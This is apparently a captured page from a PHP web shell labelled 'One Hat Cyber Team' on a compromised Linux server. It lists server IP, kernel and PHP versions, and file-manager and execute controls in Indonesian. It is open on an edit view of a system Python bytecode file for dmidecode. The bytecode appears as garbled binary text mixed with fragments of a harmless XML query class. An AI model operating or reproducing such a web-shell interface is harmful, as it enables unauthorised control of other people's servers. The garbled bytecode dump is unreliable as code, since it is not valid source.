One Hat Cyber Team
Your IP :
216.73.216.183
Server IP :
23.137.84.82
Server :
Linux srv25.usacloudserver.us 5.14.0-570.39.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Sep 4 05:08:52 EDT 2025 x86_64
Server Software :
LiteSpeed
PHP Version :
8.1.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
lib64
/
python3.9
/
site-packages
/
__pycache__
/
Edit File:
dmidecode.cpython-39.opt-1.pyc
a ��uc� � @ s* d dl Z d dlT dZdZG dd� d�ZdS )� N)�*�n�dc @ s0 e Zd ZdZdd� Zdd� Zdd� Zdd � Zd S )�dmidecodeXMLz=Native Python API for retrieving dmidecode information as XMLc C s t | _d S )N)�DMIXML_NODE�restype)�self� r �//usr/lib64/python3.9/site-packages/dmidecode.py�__init__% s zdmidecodeXML.__init__c C s, |t krt | _n|tkr t| _ntd��dS )z� Sets the result type of queries. The value can be DMIXML_NODE or DMIXML_DOC, which will return an libxml2::xmlNode or libxml2::xmlDoc object, respectively �Invalid result type valueT)r r � DMIXML_DOC� TypeError)r �typer r r � SetResultType( s zdmidecodeXML.SetResultTypec C sT | j tkr$tjtd| j |d�d�}n,| j tkrHtjtd| j |d�d�}ntd��|S )z� Queries the DMI data structure for a given section name. A section can often contain several DMI type elements �s)� query_type�result_type�section�Z_objr �r r �libxml2ZxmlNodeZxmlapir ZxmlDocr )r Zsectname�retr r r �QuerySection6 s � �zdmidecodeXML.QuerySectionc C sT | j tkr$tjtd| j |d�d�}n,| j tkrHtjtd| j |d�d�}ntd��|S )zI Queries the DMI data structure for a specific DMI type. �t)r r Ztypeidr r r )r Ztpidr r r r �QueryTypeIdI s � �zdmidecodeXML.QueryTypeIdN)�__name__� __module__�__qualname__�__doc__r r r r r r r r r "